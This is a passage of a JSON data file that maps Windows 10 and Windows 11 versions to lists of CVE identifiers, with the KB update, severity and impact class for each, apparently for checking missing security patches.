Execution"},{"cve":"CVE-2018-8410","kb":"4457132","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8411","kb":"4462922","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8423","kb":"4462922","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-8440","kb":"4457132","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8453","kb":"4462922","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8544","kb":"4467680","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8550","kb":"4467680","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8584","kb":"4467680","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8897","kb":"4103716","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0543","kb":"4480962","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0552","kb":"4480962","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0555","kb":"4487018","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0570","kb":"4480962","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0571","kb":"4480962","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0572","kb":"4480962","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0573","kb":"4480962","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0574","kb":"4480962","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0730","kb":"4493475","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0731","kb":"4493475","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0732","kb":"4493475","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2019-0735","kb":"4493475","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0796","kb":"4493475","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0805","kb":"4493475","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0836","kb":"4493475","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-1069","kb":"4503291","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-1458","kb":"4530681","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-0642","kb":"4534306","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-0668","kb":"4537776","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-0787","kb":"4540693","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1027","kb":"4550930","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1048","kb":"4556826","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1054","kb":"4556826","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1337","kb":"4571692","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1464","kb":"4571692","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2020-24587","kb":"5003172","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2020-24588","kb":"5003172","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2021-1675","kb":"5003687","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2021-24091","kb":"4601331","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2021-27094","kb":"5001340","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2021-28447","kb":"5001340","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2021-34527","kb":"5004950","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2021-40444","kb":"5005569","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2021-40449","kb":"5006675","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2022-30190","kb":"5014710","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2023-28252","kb":"5025234","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2023-29336","kb":"5026382","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2023-36874","kb":"5028186","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2024-38193","kb":"5041782","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2024-38217","kb":"5043083","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2024-49138","kb":"5048703","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2024-7344","kb":"5050013","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2025-24054","kb":"5053618","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2025-24071","kb":"5053618","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2025-24985","kb":"5053618","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2025-26633","kb":"5053618","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2025-29824","kb":"5055547","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-30397","kb":"5058387","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2025-32706","kb":"5058387","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-33053","kb":"5060998","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2025-47827","kb":"5066837","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2025-47981","kb":"5062561","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2025-50154","kb":"5063889","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2025-53149","kb":"5063889","severity":"Important","impact":"Elevation of Privilege"}],"Windows 10 for x64-based Systems":[{"cve":"CVE-2015-2433","kb":"3081434","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2455","kb":"3081434","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2456","kb":"3081434","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2458","kb":"3081434","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2459","kb":"3081434","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2460","kb":"3081434","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2462","kb":"3081434","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2463","kb":"3081434","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2464","kb":"3081434","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2502","kb":"3081444","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2507","kb":"3081455","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2512","kb":"3081455","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2524","kb":"3081455","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-2525","kb":"3081455","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-2527","kb":"3081455","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2552","kb":"3097617","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-2553","kb":"3097617","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-2554","kb":"3097617","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-6100","kb":"3105213","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-6101","kb":"3105213","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-6103","kb":"3105213","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-6104","kb":"3105213","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-6132","kb":"3116869","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2015-6152","kb":"3116869","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-6168","kb":"3116869","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-0006","kb":"3124266","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2016-0007","kb":"3124266","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2016-0015","kb":"3124266","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2016-0016","kb":"3124266","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2016-0040","kb":"3135174","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2016-0063","kb":"3135174","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-0099","kb":"3140745","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2016-0151","kb":"3147461","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2016-0189","kb":"3156387","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-0199","kb":"3163017","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-3237","kb":"3192440","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2016-3351","kb":"3185611","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-7200","kb":"3198585","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-7201","kb":"3198585","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-7241","kb":"3198585","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-7255","kb":"3198585","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2017-0005","kb":"4012606","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0022","kb":"4012606","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-0143","kb":"4012606","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0144","kb":"4012606","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0145","kb":"4012606","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0146","kb":"4012606","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0147","kb":"4012606","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0148","kb":"4012606","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0213","kb":"4019474","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2017-0263","kb":"4019474","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2017-11785","kb":"4042895","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-11823","kb":"4042895","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2017-11830","kb":"4048956","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2017-11885","kb":"4053581","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2017-8462","kb":"4022727","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8464","kb":"4022727","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-8470","kb":"4022727","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8471","kb":"4022727","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8473","kb":"4022727","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8476","kb":"4022727","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8478","kb":"4022727","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8479","kb":"4022727","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8480","kb":"4022727","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8481","kb":"4022727","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8482","kb":"4022727","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8484","kb":"4022727","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8485","kb":"4022727","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8489","kb":"4022727","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8491","kb":"4022727","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8492","kb":"4022727","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8564","kb":"4025338","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8678","kb":"4038781","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8681","kb":"4038781","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8682","kb":"4038781","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-8683","kb":"4038781","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8687","kb":"4038781","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8708","kb":"4038781","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0748","kb":"4056893","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0749","kb":"4056893","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0752","kb":"4056893","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0821","kb":"4074596","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0822","kb":"4074596","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0824","kb":"4103716","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-0832","kb":"4074596","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0886","kb":"4103716","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-0894","kb":"4088786","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0897","kb":"4088786","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0901","kb":"4088786","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0952","kb":"4343892","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0975","kb":"4093111","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-8174","kb":"4103716","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8410","kb":"4457132","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8411","kb":"4462922","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8423","kb":"4462922","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-8440","kb":"4457132","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8453","kb":"4462922","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8544","kb":"4467680","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8550","kb":"4467680","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8584","kb":"4467680","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8897","kb":"4103716","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0543","kb":"4480962","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0552","kb":"4480962","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0555","kb":"4487018","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0570","kb":"4480962","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0571","kb":"4480962","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0572","kb":"4480962","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0573","kb":"4480962","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0574","kb":"4480962","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0730","kb":"4493475","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0731","kb":"4493475","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0732","kb":"4493475","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2019-0735","kb":"4493475","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0796","kb":"4493475","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0805","kb":"4493475","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0836","kb":"4493475","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-1069","kb":"4503291","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-1458","kb":"4530681","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-0642","kb":"4534306","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-0668","kb":"4537776","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-0787","kb":"4540693","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1027","kb":"4550930","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1048","kb":"4556826","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1054","kb":"4556826","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1337","kb":"4571692","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1464","kb":"4571692","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2020-24587","kb":"5003172","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2020-24588","kb":"5003172","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2021-1675","kb":"5003687","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2021-24091","kb":"4601331","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2021-27094","kb":"5001340","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2021-28447","kb":"5001340","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2021-34527","kb":"5004950","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2021-40444","kb":"5005569","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2021-40449","kb":"5006675","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2022-30190","kb":"5014710","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2023-28252","kb":"5025234","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2023-29336","kb":"5026382","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2023-36874","kb":"5028186","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2024-38193","kb":"5041782","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2024-38217","kb":"5043083","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2024-49138","kb":"5048703","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2024-7344","kb":"5050013","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2025-24054","kb":"5053618","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2025-24071","kb":"5053618","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2025-24985","kb":"5053618","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2025-26633","kb":"5053618","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2025-29824","kb":"5055547","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-30397","kb":"5058387","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2025-32706","kb":"5058387","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-33053","kb":"5060998","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2025-47827","kb":"5066837","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2025-47981","kb":"5062561","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2025-50154","kb":"5063889","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2025-53149","kb":"5063889","severity":"Important","impact":"Elevation of Privilege"}],"Windows 11 Version 22H2 for ARM64-based Systems":[{"cve":"CVE-2021-34527","kb":"5018427","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2021-45985","kb":"5044285","severity":"Important","impact":"Denial of Service"},{"cve":"CVE-2023-20569","kb":"5029263","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2023-28252","kb":"5025239","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2023-36874","kb":"5028185","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2023-38039","kb":"5032190","severity":"Low","impact":"Denial of Service"},{"cve":"CVE-2023-44487","kb":"5031354","severity":"Important","impact":"Denial of Service"},{"cve":"CVE-2024-21338","kb":"5034765","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2024-38193","kb":"5041585","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2024-38217","kb":"5043076","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2024-49138","kb":"5048685","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2024-6197","kb":"5044285","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2024-7344","kb":"5050021","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2025-21333","kb":"5050021","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-24054","kb":"5053602","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2025-24071","kb":"5053602","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2025-24985","kb":"5053602","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2025-26633","kb":"5053602","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2025-29824","kb":"5055528","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-30397","kb":"5058405","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2025-32706","kb":"5058405","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-33053","kb":"5060999","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2025-47827","kb":"5066793","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2025-47981","kb":"5062552","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2025-48799","kb":"5062552","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-50154","kb":"5063875","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2025-53149","kb":"5063875","severity":"Important","impact":"Elevation of Privilege"}],"Windows 11 Version 22H2 for x64-based Systems":[{"cve":"CVE-2021-34527","kb":"5018427","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2021-45985","kb":"5044285","severity":"Important","impact":"Denial of Service"},{"cve":"CVE-2023-20569","kb":"5029263","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2023-28252","kb":"5025239","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2023-36874","kb":"5028185","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2023-38039","kb":"5032190","severity":"Low","impact":"Denial of Service"},{"cve":"CVE-2023-44487","kb":"5031354","severity":"Important","impact":"Denial of Service"},{"cve":"CVE-2024-21338","kb":"5034765","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2024-38193","kb":"5041585","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2024-38217","kb":"5043076","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2024-49138","kb":"5048685","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2024-6197","kb":"5044285","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2024-7344","kb":"5050021","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2025-21333","kb":"5050021","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-24054","kb":"5053602","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2025-24071","kb":"5053602","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2025-24985","kb":"5053602","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2025-26633","kb":"5053602","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2025-29824","kb":"5055528","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-30397","kb":"5058405","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2025-32706","kb":"5058405","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-33053","kb":"5060999","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2025-47827","kb":"5066793","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2025-47981","kb":"5062552","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2025-48799","kb":"5062552","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-50154","kb":"5063875","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2025-53149","kb":"5063875","severity":"Important","impact":"Elevation of Privilege"}],"Windows 11 Version 23H2 for ARM64-based Systems":[{"cve":"CVE-2021-45985","kb":"5044285","severity":"Important","impact":"Denial of Service"},{"cve":"CVE-2023-31096","kb":"5073455","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2023-38039","kb":"5032190","severity":"Low","impact":"Denial of Service"},{"cve":"CVE-2024-21338","kb":"5034765","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2024-38193","kb":"5041585","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2024-38217","kb":"5043076","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2024-49138","kb":"5048685","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2024-6197","kb":"5044285","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2024-7344","kb":"5050021","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2025-21333","kb":"5050021","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-24054","kb":"5053602","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2025-24071","kb":"5053602","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2025-24985","kb":"5053602","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2025-26633","kb":"5053602","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2025-29824","kb":"5055528","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-30397","kb":"5058405","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2025-32706","kb":"5058405","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-33053","kb":"5060999","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2025-47827","kb":"5066793","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2025-47981","kb":"5062552","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2025-48799","kb":"5062552","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-50154","kb":"5063875","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2025-53149","kb":"5063875","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-64720","kb":"5082052","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-65018","kb":"5082052","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2026-80093","kb":"5122880","severity":"Important","impact":"Elevation of Privilege"}],"Windows 11 Version 23H2 for x64-based Systems":[{"cve":"CVE-2021-45985","kb":"5044285","severity":"Important","impact":"Denial of Service"},{"cve":"CVE-2023-31096","kb":"5073455","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2023-38039","kb":"5032190","severity":"Low","impact":"Denial of Service"},{"cve":"CVE-2024-21338","kb":"5034765","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2024-38193","kb":"5041585","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2024-38217","kb":"5043076","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2024-49138","kb":"5048685","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2024-6197","kb":"5044285","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2024-7344","kb":"5050021","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2025-21333","kb":"5050021","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-24054","kb":"5053602","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2025-24071","kb":"5053602","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2025-24985","kb":"5053602","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2025-26633","kb":"5053602","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2025-29824","kb":"5055528","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-30397","kb":"5058405","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2025-32706","kb":"5058405","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-33053","kb":"5060999","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2025-47827","kb":"5066793","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2025-47981","kb":"5062552","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2025-48799","kb":"5062552","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-50154","kb":"5063875","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2025-53149","kb":"5063875","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-64720","kb":"5082052","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-65018","kb":"5082052","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2026-80093","kb":"5122880","severity":"Important","impact":"Elevation of Privilege"}],"Windows 11 Version 24H2 for ARM64-based Systems":[{"cve":"CVE-2021-45985","kb":"5050009","severity":"Important","impact":"Denial of Service"},{"cve":"CVE-2023-31096","kb":"5074109","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2024-38193","kb":"5041571","severity":"Important","impact":"Elevation of 